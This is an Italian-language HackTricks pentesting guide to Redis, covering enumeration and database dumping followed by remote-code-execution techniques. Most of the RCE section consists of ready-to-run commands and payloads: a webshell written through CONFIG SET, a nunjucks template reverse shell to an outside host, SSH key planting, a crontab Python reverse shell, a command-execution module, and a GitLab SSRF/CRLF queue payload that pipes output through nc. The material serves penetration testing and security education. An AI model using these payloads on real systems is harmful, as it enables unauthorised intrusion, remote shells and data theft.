19 KiB
6379 - Pentesting Redis
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 Gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!
Approfondimenti sull'Hacking
Coinvolgiti con contenuti che esplorano l'emozione e le sfide dell'hacking
Notizie sull'Hacking in Tempo Reale
Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
Ultime Annunci
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!
Informazioni di Base
Da i documenti: Redis è un archivio di strutture dati in memoria open source (con licenza BSD), utilizzato come database, cache e message broker).
Di default Redis utilizza un protocollo basato su testo semplice, ma devi tenere presente che può anche implementare ssl/tls. Scopri come eseguire Redis con ssl/tls qui.
Porta predefinita: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Enumerazione Automatica
Alcuni strumenti automatizzati che possono aiutare a ottenere informazioni da un'istanza di redis:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
Enumerazione Manuale
Banner
Redis è un protocollo basato su testo, puoi semplicemente inviare il comando in un socket e i valori restituiti saranno leggibili. Ricorda anche che Redis può essere eseguito utilizzando ssl/tls (ma questo è molto strano).
In un'istanza Redis regolare puoi semplicemente connetterti utilizzando nc
oppure potresti anche utilizzare redis-cli
:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
Il primo comando che potresti provare è info
. Potrebbe restituire un output con informazioni sull'istanza di Redis o qualcosa del genere potrebbe essere restituito:
-NOAUTH Authentication required.
In questo ultimo caso, ciò significa che è necessario avere credenziali valide per accedere all'istanza di Redis.
Autenticazione Redis
Per impostazione predefinita Redis può essere accesso senza credenziali. Tuttavia, può essere configurato per supportare solo password o username + password.
È possibile impostare una password nel file redis.conf con il parametro requirepass
o temporaneamente fino al riavvio del servizio collegandosi ad esso ed eseguendo: config set requirepass p@ss$12E45
.
Inoltre, un username può essere configurato nel parametro masteruser
all'interno del file redis.conf.
{% hint style="info" %}
Se è configurata solo la password, lo username utilizzato è "default".
Inoltre, si noti che non c'è modo di scoprire esternamente se Redis è stato configurato solo con la password o con username + password.
{% endhint %}
In casi come questo sarà necessario trovare credenziali valide per interagire con Redis, quindi potresti provare a forzare l'accesso.
Nel caso in cui tu abbia trovato credenziali valide, è necessario autenticare la sessione dopo aver stabilito la connessione con il comando:
AUTH <username> <password>
Credenziali valide verranno risposte con: +OK
Enumerazione autenticata
Se il server Redis permette connessioni anonime o se hai ottenuto credenziali valide, puoi avviare il processo di enumerazione del servizio utilizzando i seguenti comandi:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
Altri comandi Redis possono essere trovati qui e qui.
Nota che i comandi Redis di un'istanza possono essere rinominati o rimossi nel file redis.conf. Ad esempio, questa riga rimuoverà il comando FLUSHDB:
rename-command FLUSHDB ""
Ulteriori informazioni su come configurare in modo sicuro un servizio Redis qui: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
Puoi anche monitorare in tempo reale i comandi Redis eseguiti con il comando monitor
o ottenere i 25 query più lenti con slowlog get 25
Trova ulteriori informazioni interessanti su altri comandi Redis qui: https://lzone.de/cheat-sheet/Redis
Dumping Database
All'interno di Redis i database sono numerati a partire da 0. Puoi verificare se qualcuno è in uso nell'output del comando info
all'interno del blocco "Keyspace":
Oppure puoi semplicemente ottenere tutti i keyspaces (database) con:
INFO keyspace
Nell'esempio, il database 0 e 1 vengono utilizzati. Il database 0 contiene 4 chiavi e il database 1 contiene 1. Per impostazione predefinita, Redis utilizzerà il database 0. Per eseguire il dump ad esempio del database 1, è necessario eseguire:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
In caso si riceva il seguente errore -WRONGTYPE Operazione su una chiave che contiene un tipo di valore errato
durante l'esecuzione di GET <KEY>
è perché la chiave potrebbe essere qualcos'altro rispetto a una stringa o un intero e richiede un operatore speciale per visualizzarla.
Per conoscere il tipo della chiave, utilizzare il comando TYPE
, esempio di seguito per le chiavi di tipo lista e hash.
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
Scarica il database con npm redis-dump o python redis-utils
Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!
Approfondimenti sull'Hacking
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
Notizie sull'Hacking in Tempo Reale
Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale
Ultime Annunci
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!
Redis RCE
Shell Interattiva
redis-rogue-server può ottenere automaticamente una shell interattiva o una shell inversa in Redis (<=5.0.5).
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
Informazioni da qui. Devi conoscere il percorso della cartella del sito Web:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
Se l'eccezione di accesso alla webshell, è possibile svuotare il database dopo il backup e riprovare, ricordarsi di ripristinare il database.
Modello Webshell
Come nella sezione precedente, è possibile sovrascrivere alcuni file di modello html che verranno interpretati da un motore di modelli e ottenere una shell.
Ad esempio, seguendo questo articolo, è possibile vedere che l'attaccante ha iniettato una shell inversa in un html interpretato dal motore di modelli nunjucks:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
{% hint style="warning" %} Nota che diversi motori di template memorizzano i template in memoria, quindi anche se li sovrascrivi, il nuovo non verrà eseguito. In questi casi, o lo sviluppatore ha lasciato attivo il ricaricamento automatico o è necessario eseguire un attacco DoS sul servizio (e aspettarsi che venga riavviato automaticamente). {% endhint %}
SSH
Esempio da qui
Si prega di notare che il risultato di config get dir
può cambiare dopo altri comandi di exploit manuali. Si consiglia di eseguirlo per primo subito dopo il login in Redis. Nell'output di config get dir
potresti trovare la home dell'utente redis (di solito /var/lib/redis o /home/redis/.ssh), e sapendo questo saprai dove puoi scrivere il file authenticated_users
per accedere via ssh con l'utente redis. Se conosci la home di un altro utente valido in cui hai permessi di scrittura, puoi anche abusarne:
- Genera una coppia di chiavi pubblica-privata ssh sul tuo pc:
ssh-keygen -t rsa
- Scrivi la chiave pubblica su un file:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
- Importa il file in redis:
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
- Salva la chiave pubblica nel file authorized_keys sul server redis:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- Infine, puoi fare ssh al server redis con la chiave privata: ssh -i id_rsa redis@10.85.0.52
Questa tecnica è automatizzata qui: https://github.com/Avinash-acid/Redis-Server-Exploit
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
L'ultimo esempio è per Ubuntu, per Centos, il comando sopra dovrebbe essere: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
Questo metodo può anche essere utilizzato per guadagnare bitcoin: yam
Caricare il modulo Redis
- Seguendo le istruzioni da https://github.com/n0b0dyCN/RedisModules-ExecuteCommand è possibile compilare un modulo redis per eseguire comandi arbitrari.
- Poi è necessario un modo per caricare il modulo compilato
- Caricare il modulo caricato in fase di esecuzione con
MODULE LOAD /percorso/al/miomodulo.so
- Elenca i moduli caricati per verificare che sia stato caricato correttamente:
MODULE LIST
- Esegui comandi:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- Scarica il modulo quando vuoi:
MODULE UNLOAD mymodule
Bypass della sandbox LUA
Qui puoi vedere che Redis utilizza il comando EVAL per eseguire codice Lua in modalità sandbox. Nel post collegato puoi vedere come abusarlo utilizzando la funzione dofile, ma apparentemente questo non è più possibile. Comunque, se riesci a bypassare la sandbox Lua potresti eseguire comandi arbitrari sul sistema. Inoltre, dallo stesso post puoi vedere alcune opzioni per causare DoS.
Alcuni CVE per sfuggire a LUA:
Modulo Master-Slave
Il redis master tutte le operazioni vengono sincronizzate automaticamente con il redis slave, il che significa che possiamo considerare la vulnerabilità redis come un redis slave, connesso al redis master che controlliamo, quindi possiamo inserire il comando nel nostro redis.
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF parlando con Redis
Se puoi inviare una richiesta in testo chiaro a Redis, puoi comunicare con esso poiché Redis leggerà riga per riga la richiesta e risponderà solo con errori alle righe che non comprende:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Pertanto, se trovi una vulnerabilità SSRF in un sito web e puoi controllare alcuni intestazioni (forse con una vulnerabilità CRLF) o parametri POST, sarai in grado di inviare comandi arbitrari a Redis.
Esempio: Gitlab SSRF + CRLF to Shell
In Gitlab11.4.7 è stata scoperta una vulnerabilità SSRF e una CRLF. La vulnerabilità SSRF era nella funzionalità di importazione del progetto da URL durante la creazione di un nuovo progetto e consentiva di accedere a IP arbitrari nella forma [0:0:0:0:0:ffff:127.0.0.1] (questo accederà a 127.0.0.1), e la vulnerabilità CRLF è stata sfruttata aggiungendo semplicemente i caratteri %0D%0A all'URL.
Pertanto, era possibile abusare di queste vulnerabilità per comunicare con l'istanza Redis che gestisce le code da gitlab e abusare di quelle code per ottenere l'esecuzione del codice. Il payload di abuso della coda Redis è:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
E la richiesta di URL encode che sfrutta SSRF e CRLF per eseguire un whoami
e inviare l'output tramite nc
è:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Per qualche motivo (come per l'autore di https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ da cui è stata presa questa informazione) lo sfruttamento ha funzionato con lo schema git
e non con lo schema http
.
Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!
Insight sull'Hacking
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
Notizie sull'Hacking in Tempo Reale
Resta aggiornato con il mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale
Ultime Annunci
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!
Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.